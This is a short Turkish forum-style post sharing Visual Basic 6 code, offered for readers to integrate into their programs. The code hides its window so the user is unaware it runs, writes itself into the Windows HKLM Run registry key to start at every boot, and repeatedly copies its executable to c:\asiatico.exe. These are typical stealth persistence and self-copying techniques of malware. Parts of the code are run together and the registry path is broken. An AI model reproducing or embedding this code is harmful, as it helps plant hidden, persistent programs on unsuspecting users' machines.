Formun üstüne bir adet timer eklemein yeterlidir.... Gerkeli aciklamayi kodlarin ustunde yaptim.Belki işinize yarar veya herhangi bir programınıza entegre edersiniz
Kodlar = Private Sub Form_Load()
Timer1.Enabled = True
Timer1.Interval = 500 ' timer birazdan yapılacak işlem icin her yarım saniyede bir islemi tekrarlıyor
Me.Hide 'formu açıldığı sırada gizliyoruz yani kullanıcı formu veya herhangi bir seyin calıstığının farkında olmuyor...
Dim KayitDefteri As Object ' değişkeni tanımlıyoruz... Set KayitDefteri = CreateObject("wscript.shell") KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS \CUR RENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe" 'üstteki bölümde programımızı windows açılırken çalışması için kayıt defterine kaydediyoruz End Sub
Private Sub Timer1_Timer()
Dim yol, ad, TamYol, x ' değişkenlerr. ... yol = App.Path ' burasi programın bulunduğu yol ad = App.EXEName & ".exe" 'programın adı Source = yol & "\" & ad 'programın mevcut yolu \ programın adı destination = "c:\asiatico.exe" 'programın kopalanacağı yer ve kopyalancağı isim FileCopy Source, destination ' programın mevcut yol \adı , programın kopyalanca yer End Sub
